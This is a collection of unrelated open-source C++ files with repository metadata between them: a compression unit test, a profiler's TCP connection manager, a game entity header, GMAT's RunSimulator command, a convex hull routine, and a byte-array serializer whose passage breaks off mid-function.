std::unique_ptr<BlockCompressionCodec> codec; auto st = get_block_compression_codec(type, codec); EXPECT_TRUE(st.ok()); size_t test_sizes[] = {0, 1, 10, 1000, 1000000}; std::vector<std::string> orig_strs; for (auto size : test_sizes) { orig_strs.emplace_back(generate_str(size)); } std::vector<Slice> orig_slices; std::string orig; for (auto& str : orig_strs) { orig_slices.emplace_back(str); orig.append(str); } size_t total_size = orig.size(); size_t max_len = codec->max_compressed_len(total_size); std::string compressed; compressed.resize(max_len); { Slice compressed_slice(compressed); st = codec->compress(orig_slices, &compressed_slice); EXPECT_TRUE(st.ok()); std::string uncompressed; uncompressed.resize(total_size); // normal case { Slice uncompressed_slice(uncompressed); st = codec->decompress(compressed_slice, &uncompressed_slice); EXPECT_TRUE(st.ok()); EXPECT_STREQ(orig.c_str(), uncompressed.c_str()); } } // buffer not enough failed if (type != segment_v2::CompressionTypePB::SNAPPY) { Slice compressed_slice(compressed); compressed_slice.size = 10; st = codec->compress(orig, &compressed_slice); EXPECT_FALSE(st.ok()); } } TEST_F(BlockCompressionTest, multi) { test_multi_slices(segment_v2::CompressionTypePB::SNAPPY); test_multi_slices(segment_v2::CompressionTypePB::ZLIB); test_multi_slices(segment_v2::CompressionTypePB::LZ4); test_multi_slices(segment_v2::CompressionTypePB::LZ4F); test_multi_slices(segment_v2::CompressionTypePB::ZSTD); } } // namespace doris
35.695122
91
0.645883
kuolei
b1cc627fb18a56f57bb7f0fb10f617dfa3139c42
1,952
cpp
C++
OrbitCore/ConnectionManager.cpp
robbiesri/orbitprofiler
fff73e9cafc4e7928feb900f07b1dddb4af0ecee
[ "BSD-2-Clause" ]
null
null
null
OrbitCore/ConnectionManager.cpp
robbiesri/orbitprofiler
fff73e9cafc4e7928feb900f07b1dddb4af0ecee
[ "BSD-2-Clause" ]
null
null
null
OrbitCore/ConnectionManager.cpp
robbiesri/orbitprofiler
fff73e9cafc4e7928feb900f07b1dddb4af0ecee
[ "BSD-2-Clause" ]
null
null
null
//----------------------------------- // Copyright Pierric Gimmig 2013-2017 //----------------------------------- #include "ConnectionManager.h" #include "TcpClient.h" #include "TcpServer.h" #include "TimerManager.h" //----------------------------------------------------------------------------- ConnectionManager::ConnectionManager() : m_ExitRequested(false) { } //----------------------------------------------------------------------------- ConnectionManager::~ConnectionManager() { TerminateThread(); } //----------------------------------------------------------------------------- void ConnectionManager::TerminateThread() { if (m_Thread) { m_ExitRequested = true; m_Thread->join(); m_Thread = nullptr; } } //----------------------------------------------------------------------------- ConnectionManager& ConnectionManager::Get() { static ConnectionManager instance; return instance; } //----------------------------------------------------------------------------- void ConnectionManager::Init(std::string a_Host) { m_Host = a_Host; TerminateThread(); m_Thread = std::make_unique<std::thread>(&ConnectionManager::ConnectionThread, this); } //----------------------------------------------------------------------------- void ConnectionManager::Stop() { m_ExitRequested = true; } //----------------------------------------------------------------------------- void ConnectionManager::ConnectionThread() { while (!m_ExitRequested) { if (!GTcpClient || !GTcpClient->IsValid()) { GTcpClient = std::make_unique<TcpClient>(m_Host); if (GTcpClient->IsValid()) { GTimerManager = std::make_unique<TimerManager>(true); } } else { std::string msg("Hello from ConnectionManager"); GTcpClient->Send(msg); Sleep(2000); } } }
26.378378
89
0.420082
robbiesri
b1cd616a7aa784692689dac31d6a6606bec591e7
323
hpp
C++
src/ecs/entities/Bedrock.hpp
Gegel85/IndieStudio
63e58c61416b3c16885d35d75d126e3db5ed3cc8
[ "MIT" ]
null
null
null
src/ecs/entities/Bedrock.hpp
Gegel85/IndieStudio
63e58c61416b3c16885d35d75d126e3db5ed3cc8
[ "MIT" ]
12
2019-05-22T12:22:44.000Z
2019-06-15T17:31:04.000Z
src/ecs/entities/Bedrock.hpp
Gegel85/IndieStudio
63e58c61416b3c16885d35d75d126e3db5ed3cc8
[ "MIT" ]
1
2019-06-18T12:57:58.000Z
2019-06-18T12:57:58.000Z
/* ** EPITECH PROJECT, 2019 ** bomberman ** File description: ** Bedrock.hpp */ #ifndef BOMBERMAN_BEDROCK_HPP #define BOMBERMAN_BEDROCK_HPP #include "../Entity.hpp" namespace ECS { class Bedrock : public Entity { public: explicit Bedrock(unsigned id, Ressources &ressources); }; } #endif //BOMBERMAN_BEDROCK_HPP
13.458333
56
0.727554
Gegel85
b1cdccc1020badc02ff098d6542f43c889ec72e8
21,461
cpp
C++
src/base/command/RunSimulator.cpp
Randl/GMAT
d6a5b1fed68c33b0c4b1cfbd1e25a71cdfb8f8f5
[ "Apache-2.0" ]
2
2020-01-01T13:14:57.000Z
2020-12-09T07:05:07.000Z
src/base/command/RunSimulator.cpp
rdadan/GMAT-R2016a
d6a5b1fed68c33b0c4b1cfbd1e25a71cdfb8f8f5
[ "Apache-2.0" ]
1
2018-03-15T08:58:37.000Z
2018-03-20T20:11:26.000Z
src/base/command/RunSimulator.cpp
rdadan/GMAT-R2016a
d6a5b1fed68c33b0c4b1cfbd1e25a71cdfb8f8f5
[ "Apache-2.0" ]
3
2019-10-13T10:26:49.000Z
2020-12-09T07:06:55.000Z
//$Id$ //------------------------------------------------------------------------------ // ClassName //------------------------------------------------------------------------------ // GMAT: General Mission Analysis Tool // // Copyright (c) 2002 - 2015 United States Government as represented by the // Administrator of the National Aeronautics and Space Administration. // All Other Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // You may not use this file except in compliance with the License. // You may obtain a copy of the License at: // http://www.apache.org/licenses/LICENSE-2.0. // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either // express or implied. See the License for the specific language // governing permissions and limitations under the License. // // Developed jointly by NASA/GSFC and Thinking Systems, Inc. under contract // number NNG06CA54C // // Author: Darrel J. Conway, Thinking Systems, Inc. // Created: 2009/ / // /** * File description here. */ //------------------------------------------------------------------------------ #include "RunSimulator.hpp" #include "MessageInterface.hpp" //#define DEBUG_INITIALIZATION //#define DEBUG_SIMULATOR_EXECUTION //------------------------------------------------------------------------------ // RunSimulator() //------------------------------------------------------------------------------ /** * Default constructor */ //------------------------------------------------------------------------------ RunSimulator::RunSimulator() : RunSolver ("RunSimulator"), theSimulator (NULL), commandRunning (false), commandComplete (false) { overridePropInit = true; } //------------------------------------------------------------------------------ // ~RunSimulator() //------------------------------------------------------------------------------ /** * Destructor */ //------------------------------------------------------------------------------ RunSimulator::~RunSimulator() { if (theSimulator) delete theSimulator; } //------------------------------------------------------------------------------ // RunSimulator::RunSimulator(const RunSimulator & rs) //------------------------------------------------------------------------------ /** * Copy constructor * * @param rs The command that is copied into the new one */ //------------------------------------------------------------------------------ RunSimulator::RunSimulator(const RunSimulator & rs) : RunSolver (rs), theSimulator (NULL), commandRunning (false), commandComplete (false) { overridePropInit = true; } //------------------------------------------------------------------------------ // RunSimulator & operator=(const RunSimulator & rs) //------------------------------------------------------------------------------ /** * Assignment operator * * @param rs The RunSimulator object that supplies properties this one needs * * @return A reference to this instance */ //------------------------------------------------------------------------------ RunSimulator & RunSimulator::operator=(const RunSimulator & rs) { if (&rs != this) { theSimulator = NULL; commandRunning = false; commandComplete = false; overridePropInit = true; } return *this; } //------------------------------------------------------------------------------ // GmatBase *RunSimulator::Clone() const //------------------------------------------------------------------------------ /** * Cleates a duplicate of a RunSimulator object * * @return a clone of the object */ //------------------------------------------------------------------------------ GmatBase *RunSimulator::Clone() const { return new RunSimulator(*this); } //------------------------------------------------------------------------------ // std::string GetRefObjectName(const Gmat::ObjectType type) const //------------------------------------------------------------------------------ /** * Accesses names for referenced objects. * * @param <type> Type of object requested. * * @return the referenced object's name. */ //------------------------------------------------------------------------------ std::string RunSimulator::GetRefObjectName(const Gmat::ObjectType type) const { switch (type) { case Gmat::SOLVER: #ifdef DEBUG_RUN_SIMULATOR MessageInterface::ShowMessage ("Getting EndFiniteBurn reference burn names\n"); #endif return solverName; default: ; } return RunSolver::GetRefObjectName(type); } //------------------------------------------------------------------------------ // bool SetRefObjectName(const Gmat::ObjectType type, const std::string &name) //------------------------------------------------------------------------------ /** * Sets names for referenced objects. * * @param <type> Type of the object. * @param <name> Name of the object. * * @return true if the name was set, false if not. */ //------------------------------------------------------------------------------ bool RunSimulator::SetRefObjectName(const Gmat::ObjectType type, const std::string &name) { if (type == Gmat::SOLVER) { solverName = name; return true; } return RunSolver::SetRefObjectName(type, name); } //------------------------------------------------------------------------------ // bool RenameRefObject(const Gmat::ObjectType type, // const std::string &oldName, const std::string &newName) //------------------------------------------------------------------------------ /** * Renames referenced objects. * * @param type Type of the object that is renamed. * @param oldName The current name for the object. * @param newName The name the object has when this operation is complete. * * @return true on success. */ //------------------------------------------------------------------------------ bool RunSimulator::RenameRefObject(const Gmat::ObjectType type, const std::string &oldName, const std::string &newName) { // EndFiniteBurn needs to know about Burn and Spacecraft only if (type != Gmat::SOLVER) return RunSolver::RenameRefObject(type, oldName, newName); if (solverName == oldName) { solverName = newName; return true; } return false; } //------------------------------------------------------------------------------ // const std::string GetGeneratingString() //------------------------------------------------------------------------------ /** * Method used to retrieve the string that was parsed to build this GmatCommand. * * This method is used to retrieve the GmatCommand string from the script that * was parsed to build the GmatCommand. It is used to save the script line, so * that the script can be written to a file without inverting the steps taken to * set up the internal object data. As a side benefit, the script line is * available in the GmatCommand structure for debugging purposes. * * @param <mode> Specifies the type of serialization requested. * @param <prefix> Optional prefix appended to the object's name. (Used for * indentation) * @param <useName> Name that replaces the object's name (Not yet used * in commands). * * @return The script line that defines this GmatCommand. */ //------------------------------------------------------------------------------ const std::string& RunSimulator::GetGeneratingString(Gmat::WriteMode mode, const std::string &prefix, const std::string &useName) { generatingString = prefix + "RunSimulator " + solverName + ";"; return RunSolver::GetGeneratingString(mode, prefix, useName); } //------------------------------------------------------------------------------ // bool Initialize() //------------------------------------------------------------------------------ /** * Prepares the command for execution * * This method prepares the simulator and associated measurement manager and * measurements for the simulation process. Referenced objects are cloned or * set as needed in this method. * * The propagation subsystem is prepared in the base class components of the * command. RunSimulator generaqtes teh PropSetup clones at this level, but * leaves the rest of the initialization process for the PropSetups in the base * class method, which is called from this method. * * @return true on success, false on failure */ //------------------------------------------------------------------------------ bool RunSimulator::Initialize() { bool retval = false; // First set the simulator object if (solverName == "") throw CommandException("Cannot initialize RunSimulator command -- the " "simulator name is not specified."); // Clear the old clone if it was set if (theSimulator != NULL) delete theSimulator; GmatBase *simObj = FindObject(solverName); if (simObj == NULL) throw CommandException("Cannot initialize RunSimulator command -- the " "simulator named " + solverName + " cannot be found."); if (!simObj->IsOfType("Simulator")) throw CommandException("Cannot initialize RunSimulator command -- the " "object named " + solverName + " is not a simulator."); theSimulator = (Simulator*)(simObj->Clone()); // Set the streams for the measurement manager MeasurementManager *measman = theSimulator->GetMeasurementManager(); StringArray streamList = measman->GetStreamList(); for (UnsignedInt ms = 0; ms < streamList.size(); ++ms) { GmatBase *obj = FindObject(streamList[ms]); if (obj != NULL) { if (obj->IsOfType(Gmat::DATASTREAM)) { Datafile *df = (Datafile*)obj; measman->SetStreamObject(df); } } else throw CommandException("Did not find the object named " + streamList[ms]); } // Next comes the propagator PropSetup *obj = theSimulator->GetPropagator(); #ifdef DEBUG_INITIALIZATION MessageInterface::ShowMessage("Propagator at address %p ", obj); if (obj != NULL) MessageInterface::ShowMessage("is named %s\n", obj->GetName().c_str()); else MessageInterface::ShowMessage("is not yet set\n"); #endif if (obj != NULL) { if (obj->IsOfType(Gmat::PROP_SETUP)) { PropSetup *ps = (PropSetup*)obj->Clone(); // RunSimulator only manages one PropSetup. If that changes, so // does this code if (propagators.size() > 0) { for (std::vector<PropSetup*>::iterator pp = propagators.begin(); pp != propagators.end(); ++pp) { delete (*pp); } propagators.clear(); p.clear(); fm.clear(); } propagators.push_back(ps); p.push_back(ps->GetPropagator()); fm.push_back(ps->GetODEModel()); retval = true; } } else throw CommandException("Cannot initialize RunSimulator command; the " "propagator pointer in the Simulator " + theSimulator->GetName() + " is NULL."); // Now set the participant list MeasurementManager *mm = theSimulator->GetMeasurementManager(); StringArray participants = mm->GetParticipantList(); #ifdef DEBUG_INITIALIZATION MessageInterface::ShowMessage("RunSimulator command found %d " "participants\n", participants.size()); #endif propObjectNames.clear(); propObjectNames.push_back(participants); // Now we can initialize the propagation subsystem by calling up the // inheritance tree. retval = RunSolver::Initialize(); #ifdef DEBUG_INITIALIZATION if (retval == false) MessageInterface::ShowMessage("RunSimulator command failed to " "initialize; RunSolver::Initialize() call failed.\n"); #endif return retval; } //------------------------------------------------------------------------------ // bool Execute() //------------------------------------------------------------------------------ /** * Performs the command side processing for the Simulation * * This method calls the Simulator to determine the state of the Simulation * state machine and responds to that state as needed. Typical command side * responses are to propagate as needed, to clean up memory, or to reset flags * based on the state machine. * * @return true on success, false on failure */ //------------------------------------------------------------------------------ bool RunSimulator::Execute() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("\n\nThe \"%s\" command is running...\n", GetTypeName().c_str()); #endif // Reset the command if called after it has completed execution // todo: Debug this piece; reentrance in a For loop doesn't work yet // if (commandComplete) // TakeAction("Reset"); // Here we should check to see if the command is currently propagating and // finish that first... // Respond to the state in the state machine Solver::SolverState state = theSimulator->GetState(); #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("\nSimulator state is %d\n", state); #endif switch (state) { case Solver::INITIALIZING: PrepareToSimulate(); break; case Solver::PROPAGATING: Propagate(); break; case Solver::CALCULATING: Calculate(); break; case Solver::LOCATING: // The LOCATING state shouldn't trigger until we have event location // implemented, so this case should not fire. LocateEvent(); break; case Solver::SIMULATING: Simulate(); break; case Solver::FINISHED: Finalize(); break; default: throw CommandException("Unknown state " " encountered in the RunSimulator command"); } state = theSimulator->AdvanceState(); return true; } //------------------------------------------------------------------------------ // void RunComplete() //------------------------------------------------------------------------------ /** * Completes processing so that subsequent commands can be run. */ //------------------------------------------------------------------------------ void RunSimulator::RunComplete() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::RunComplete()\n"); #endif commandRunning = false; RunSolver::RunComplete(); } //------------------------------------------------------------------------------ // bool TakeAction(const std::string &action, const std::string &actionData) //------------------------------------------------------------------------------ /** * Performs actions at prompting from higher level structures * * @param action The action that needs to be taken * @param actionData Optional additional data the action needs * * @return true if an action was taken, false if not */ //------------------------------------------------------------------------------ bool RunSimulator::TakeAction(const std::string &action, const std::string &actionData) { if (action == "Reset") { theSimulator->TakeAction("Reset"); commandRunning = false; commandComplete = false; return true; } return RunSolver::TakeAction(action, actionData); } //------------------------------------------------------------------------------ // GmatCommand* GetNext() //------------------------------------------------------------------------------ /** * Retrieves the pointer to the next command that the Sandbox needs to run * * This method returns a pointer to the current RunSimulator command while the * simulation state machine is running. It returns the next pointer after the * simulation has finished execution. * * @return The next comamnd that should Execute() */ //------------------------------------------------------------------------------ GmatCommand* RunSimulator::GetNext() { if (commandRunning) return this; return next; } //------------------------------------------------------------------------------ // Methods triggered by the finite state machine //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ // void PrepareToSimulate() //------------------------------------------------------------------------------ /** * Responds to the CALCULATING state of the finite state machine * * Performs the final stages of initialization that need to be performed prior * to running the simulation. This includes the final ODEModel preparation and * the setting for the flags that indicate that a simulation is in process. */ //------------------------------------------------------------------------------ void RunSimulator::PrepareToSimulate() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::PrepareToSimulate()\n"); #endif // Prep the measurement manager MeasurementManager *measman = theSimulator->GetMeasurementManager(); if (measman->PrepareForProcessing(true) == false) throw CommandException( "Measurement Manager was unable to prepare for processing"); PrepareToPropagate(); commandRunning = true; commandComplete = false; } //------------------------------------------------------------------------------ // void Propagate() //------------------------------------------------------------------------------ /** * Responds to the PROPAGATING state of the finite state machine. * * Propagation from the current epoch to the next simulation epoch is performed * in this method. */ //------------------------------------------------------------------------------ void RunSimulator::Propagate() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::Propagate()\n"); #endif Real dt = theSimulator->GetTimeStep(); // todo: This is a temporary fix; need to evaluate to find a more elegant // solution here Real maxStep = 600.0; if (dt > maxStep) dt = maxStep; Step(dt); theSimulator->UpdateCurrentEpoch(currEpoch[0]); } //------------------------------------------------------------------------------ // void Calculate() //------------------------------------------------------------------------------ /** * Responds to the CALCULATING state of the finite state machine */ //------------------------------------------------------------------------------ void RunSimulator::Calculate() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::Calculate()\n"); #endif // We might not need anything here -- it's all Simulator side work } //------------------------------------------------------------------------------ // void LocateEvent() //------------------------------------------------------------------------------ /** * Responds to the LOCATING state of the finite state machine */ //------------------------------------------------------------------------------ void RunSimulator::LocateEvent() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::LocateEvent()\n"); #endif // We'll figure this out later } //------------------------------------------------------------------------------ // void Simulate() //------------------------------------------------------------------------------ /** * Responds to the SIMULATING state of the finite state machine */ //------------------------------------------------------------------------------ void RunSimulator::Simulate() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::Simulate()\n"); #endif // We might not need anything here -- it's all Simulator side work } //------------------------------------------------------------------------------ // void RunSimulator::Finalize() //------------------------------------------------------------------------------ /** * Responds to the FINALIZING state of the finite state machine */ //------------------------------------------------------------------------------ void RunSimulator::Finalize() { #ifdef DEBUG_SIMULATOR_EXECUTION MessageInterface::ShowMessage("Entered RunSimulator::Finalize()\n"); #endif // Do cleanup here // Finalize the measurement manager MeasurementManager *measman = theSimulator->GetMeasurementManager(); if (measman->ProcessingComplete() == false) MessageInterface::ShowMessage( "Measurement Manager reported a problem completing processing\n"); commandComplete = true; commandRunning = false; }
32.966206
80
0.501281
Randl
b1d01ec0df3e96cbed6534419a1d793d2c4ef5bd
1,377
cpp
C++
Algorithms/Codes/Geometry/Convex Hull ( monotone chain).cpp
moni-roy/COPC
f5918304815413c18574ef4af2e23a604bd9f704
[ "MIT" ]
4
2017-02-20T17:41:14.000Z
2019-07-15T14:15:34.000Z
Algorithms/Codes/Geometry/Convex Hull ( monotone chain).cpp
moni-roy/COPC
f5918304815413c18574ef4af2e23a604bd9f704
[ "MIT" ]
null
null
null
Algorithms/Codes/Geometry/Convex Hull ( monotone chain).cpp
moni-roy/COPC
f5918304815413c18574ef4af2e23a604bd9f704
[ "MIT" ]
null
null
null
// Implementation of Andrew's monotone chain 2D convex hull algorithm. #include <algorithm> #include <vector> using namespace std; typedef int coord_t; // coordinate type typedef long long coord2_t; // must be big enough to hold 2*max(|coordinate|)^2 struct Point { coord_t x, y; bool operator <(const Point &p) const { return x < p.x || (x == p.x && y < p.y); } }; // 2D cross product of OA and OB vectors, i.e. z-component of their 3D cross product. // Returns a positive value, if OAB makes a counter-clockwise turn, // negative for clockwise turn, and zero if the points are collinear. coord2_t cross(const Point &O, const Point &A, const Point &B) { return (A.x - O.x) * (coord2_t)(B.y - O.y) - (A.y - O.y) * (coord2_t)(B.x - O.x); } // Returns a list of points on the convex hull in counter-clockwise order. // Note: the last point in the returned list is the same as the first one. vector<Point> convex_hull(vector<Point> P) { int n = P.size(), k = 0; vector<Point> H(2*n); // Sort points lexicographically sort(P.begin(), P.end()); // Build lower hull for (int i = 0; i < n; i++) { while (k >= 2 && cross(H[k-2], H[k-1], P[i]) <= 0) k--; H[k++] = P[i]; } // Build upper hull for (int i = n-2, t = k+1; i >= 0; i--) { while (k >= t && cross(H[k-2], H[k-1], P[i]) <= 0) k--; H[k++] = P[i]; } H.resize(k); return H; }
27
85
0.6122
moni-roy
b1d0d3b0958efb8dfbe160f5466d55ab95eaeb93
2,218
hpp
C++
docs/template_plugin/src/template_executable_network.hpp
JOCh1958/openvino
070201feeec5550b7cf8ec5a0ffd72dc879750be
[ "Apache-2.0" ]
1
2021-04-06T03:32:12.000Z
2021-04-06T03:32:12.000Z
docs/template_plugin/src/template_executable_network.hpp
JOCh1958/openvino
070201feeec5550b7cf8ec5a0ffd72dc879750be
[ "Apache-2.0" ]
28
2021-09-24T09:29:02.000Z
2022-03-28T13:20:46.000Z
docs/template_plugin/src/template_executable_network.hpp
JOCh1958/openvino
070201feeec5550b7cf8ec5a0ffd72dc879750be
[ "Apache-2.0" ]
1
2020-08-30T11:48:03.000Z
2020-08-30T11:48:03.000Z
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #pragma once #include <ngraph/function.hpp> #include "template_config.hpp" #include "template_infer_request.hpp" #include "template_async_infer_request.hpp" #include <cpp_interfaces/impl/ie_executable_network_thread_safe_default.hpp> namespace TemplatePlugin { class Plugin; /** * @class ExecutableNetwork * @brief Interface of executable network */ // ! [executable_network:header] class ExecutableNetwork : public InferenceEngine::ExecutableNetworkThreadSafeDefault { public: ExecutableNetwork(const std::shared_ptr<const ngraph::Function>& function, const Configuration& cfg, const std::shared_ptr<Plugin>& plugin); ExecutableNetwork(std::istream& model, const Configuration& cfg, const std::shared_ptr<Plugin>& plugin); ~ExecutableNetwork() override = default; // Methods from a base class ExecutableNetworkThreadSafeDefault void ExportImpl(std::ostream& model) override; InferenceEngine::InferRequestInternal::Ptr CreateInferRequestImpl(InferenceEngine::InputsDataMap networkInputs, InferenceEngine::OutputsDataMap networkOutputs) override; InferenceEngine::IInferRequest::Ptr CreateInferRequest() override; InferenceEngine::Parameter GetMetric(const std::string &name) const override; InferenceEngine::Parameter GetConfig(const std::string &name) const override; private: friend class TemplateInferRequest; void CompileNetwork(const std::shared_ptr<const ngraph::Function>& function); void InitExecutor(); std::atomic<std::size_t> _requestId = {0}; Configuration _cfg; std::shared_ptr<Plugin> _plugin; std::shared_ptr<ngraph::Function> _function; std::map<std::string, std::size_t> _inputIndex; std::map<std::string, std::size_t> _outputIndex; }; // ! [executable_network:header] } // namespace TemplatePlugin
36.360656
127
0.656898
JOCh1958
b1d36c9eb1587cbe78acaf59ce35de0a417cfdd2
13,625
cpp
C++
src/bytearray.cpp
dongzx666/cool
6d13b767491f52ac6c4ee96a3e69d481600e22f7
[ "MIT" ]
null
null
null
src/bytearray.cpp
dongzx666/cool
6d13b767491f52ac6c4ee96a3e69d481600e22f7
[ "MIT" ]
null
null
null
src/bytearray.cpp
dongzx666/cool
6d13b767491f52ac6c4ee96a3e69d481600e22f7
[ "MIT" ]
null
null
null
#include "bytearray.h" #include "endian.h" #include "log.h" #include "socket.h" #include <cmath> #include <cstddef> #include <cstdint> #include <cstring> #include <endian.h> #include <fstream> #include <iomanip> #include <memory> #include <sstream> #include <stdexcept> #include <string> namespace cool { static cool::Logger::ptr g_logger = LOG_NAME("system"); ByteArray::Node::Node(size_t s) : ptr(new char[s]), next(nullptr), size(s) {} ByteArray::Node::Node() : ptr(nullptr), next(nullptr), size(0) {} ByteArray::Node::~Node() { if (ptr) { delete[] ptr; } } ByteArray::ByteArray(size_t base_size) : m_base_size(base_size), m_pos(0), m_capacity(base_size), m_size(0), m_endian(COOL_BIG_ENDIAN), m_root(new Node(base_size)), m_cur(m_root) {} ByteArray::~ByteArray() { Node *temp = m_root; while (temp) { m_cur = temp; temp = temp->next; delete m_cur; } } bool ByteArray::isLittleEndian() const { return m_endian == COOL_LITTLE_ENDIAN; } void ByteArray::setIsLittleEndian(bool val) { if (val) { m_endian = COOL_LITTLE_ENDIAN; } else { m_endian = COOL_BIG_ENDIAN; } } void ByteArray::write_fint8(int8_t val) { write(&val, sizeof(val)); } void ByteArray::write_fuint8(uint8_t val) { write(&val, sizeof(val)); } void ByteArray::write_fint16(int16_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } void ByteArray::write_fuint16(uint16_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } void ByteArray::write_fint32(int32_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } void ByteArray::write_fuint32(uint32_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } void ByteArray::write_fint64(int64_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } void ByteArray::write_fuint64(uint64_t val) { if (m_endian != COOL_BYTE_ORDER) { val = byteswap(val); } write(&val, sizeof(val)); } static uint32_t EncodeZigzap32(const int32_t &val) { if (val < 0) { return ((uint32_t)(-val)) * 2 - 1; } else { return val * 2; } } static int32_t DecodeZigzap32(const uint32_t &val) { return (val >> 1) ^ -(val & 1); } static uint64_t EncodeZigzap64(const int64_t &val) { if (val < 0) { return ((uint64_t)(-val)) * 2 - 1; } else { return val * 2; } } static int64_t DecodeZigzap64(const uint64_t &val) { return (val >> 1) ^ -(val & 1); } void ByteArray::write_int32(int32_t val) { write_uint32(EncodeZigzap32(val)); } void ByteArray::write_uint32(uint32_t val) { uint8_t temp[5]; uint8_t i = 0; while (val >= 0x80) { temp[i++] = (val & 0x7f) | 0x80; val >>= 7; } temp[i++] = val; write(temp, i); } void ByteArray::write_int64(int64_t val) { write_uint64(EncodeZigzap64(val)); } void ByteArray::write_uint64(uint64_t val) { uint8_t temp[10]; uint8_t i = 0; while (val >= 0x80) { temp[i++] = (val & 0x7f) | 0x80; val >>= 7; } temp[i++] = val; write(temp, i); } void ByteArray::write_float(float val) { uint32_t temp; memcpy(&temp, &val, sizeof(val)); write_fuint32(temp); } void ByteArray::write_double(double val) { uint64_t temp; memcpy(&temp, &val, sizeof(val)); write_fuint64(temp); } // length: int16, data void ByteArray::write_string_f16(const std::string &val) { write_fint16(val.size()); write(val.c_str(), val.size()); } // length: int32, data void ByteArray::write_string_f32(const std::string &val) { write_fint32(val.size()); write(val.c_str(), val.size()); } // length: int64, data void ByteArray::write_string_f64(const std::string &val) { write_fint64(val.size()); write(val.c_str(), val.size()); } // length: varint, data void ByteArray::write_string_vint(const std::string &val) { write_uint64(val.size()); write(val.c_str(), val.size()); } // data void ByteArray::write_string_withoutlen(const std::string &val) { write(val.c_str(), val.size()); } // read int8_t ByteArray::read_fint8() { int8_t val; read(&val, sizeof(val)); return val; } uint8_t ByteArray::read_fuint8() { uint8_t val; read(&val, sizeof(val)); return val; } #define XX(type) \ type val; \ read(&val, sizeof(val)); \ if (m_endian == COOL_BYTE_ORDER) { \ return val; \ } else { \ return byteswap(val); \ } int16_t ByteArray::read_fint16() { XX(int16_t); } uint16_t ByteArray::read_fuint16() { XX(uint16_t); } int32_t ByteArray::read_fint32() { XX(int32_t); } uint32_t ByteArray::read_fuint32() { XX(uint32_t); } int64_t ByteArray::read_fint64() { XX(int64_t); } uint64_t ByteArray::read_fuint64() { XX(uint64_t); } #undef XX int32_t ByteArray::read_int32() { return DecodeZigzap32(read_uint32()); } uint32_t ByteArray::read_uint32() { uint32_t res = 0; for (int i = 0; i < 32; i += 7) { uint8_t b = read_fuint8(); if (b < 0x80) { res |= ((uint32_t)b) << i; break; } else { res |= (((uint32_t)b & 0x7f) << i); } } return res; } int64_t ByteArray::read_int64() { return DecodeZigzap64(read_uint64()); } uint64_t ByteArray::read_uint64() { uint64_t res = 0; for (int i = 0; i < 64; i += 7) { uint8_t b = read_fuint8(); if (b < 0x80) { res |= ((uint64_t)b) << i; break; } else { res |= (((uint64_t)b & 0x7f) << i); } } return res; } float ByteArray::read_float() { uint32_t temp = read_fuint32(); float res; memcpy(&res, &temp, sizeof(temp)); return res; } double ByteArray::read_double() { uint64_t temp = read_fuint64(); double res; memcpy(&res, &temp, sizeof(temp)); return res; } // length: int16, data std::string ByteArray::read_string_f16() { uint16_t len = read_fuint16(); std::string buf; buf.resize(len); read(&buf[0], len); return buf; } // length: int32, data std::string ByteArray::read_string_f32() { uint32_t len = read_fuint32(); std::string buf; buf.resize(len); read(&buf[0], len); return buf; } // length: int64, data std::string ByteArray::read_string_f64() { uint64_t len = read_fuint64(); std::string buf; buf.resize(len); read(&buf[0], len); return buf; } // data std::string ByteArray::read_string_vint() { uint64_t len = read_fuint64(); std::string buf; buf.resize(len); read(&buf[0], len); return buf; } // inner func void ByteArray::clear() { m_pos = m_size = 0; m_capacity = m_base_size; Node *temp = m_root->next; while (temp) { m_cur = temp; temp = temp->next; delete m_cur; } m_cur = m_root; m_root->next = nullptr; } void ByteArray::write(const void *buf, size_t size) { if (size == 0) { return; } addCapacity(size); size_t npos = m_pos % m_base_size; size_t ncap = m_cur->size - npos; size_t bpos = 0; while (size > 0) { if (ncap >= size) { memcpy(m_cur->ptr + npos, (const char *)buf + bpos, size); if (m_cur->size == (npos + size)) { m_cur = m_cur->next; } m_pos += size; bpos += size; size = 0; } else { memcpy(m_cur->ptr + npos, (const char *)buf + bpos, ncap); m_pos += ncap; bpos += ncap; size -= ncap; m_cur = m_cur->next; ncap = m_cur->size; npos = 0; } } if (m_pos > m_size) { m_size = m_pos; } } void ByteArray::read(void *buf, size_t size) { if (size > getReadSize()) { throw std::out_of_range("not enough len"); } size_t npos = m_pos % m_base_size; size_t ncap = m_cur->size - npos; size_t bpos = 0; while (size > 0) { if (ncap >= size) { memcpy((char *)buf + bpos, m_cur->ptr + npos, size); if (m_cur->size == npos + size) { m_cur = m_cur->next; } m_pos += size; bpos += size; size = 0; } else { memcpy((char *)buf + bpos, m_cur->ptr + npos, ncap); m_pos += ncap; bpos += ncap; size -= ncap; m_cur = m_cur->next; ncap = m_cur->size; npos = 0; } } } void ByteArray::read(void *buf, size_t size, size_t pos) const { if (size > getReadSize()) { throw std::out_of_range("not enough len"); } size_t npos = pos % m_base_size; size_t ncap = m_cur->size - npos; size_t bpos = 0; Node *cur = m_cur; while (size > 0) { if (ncap >= 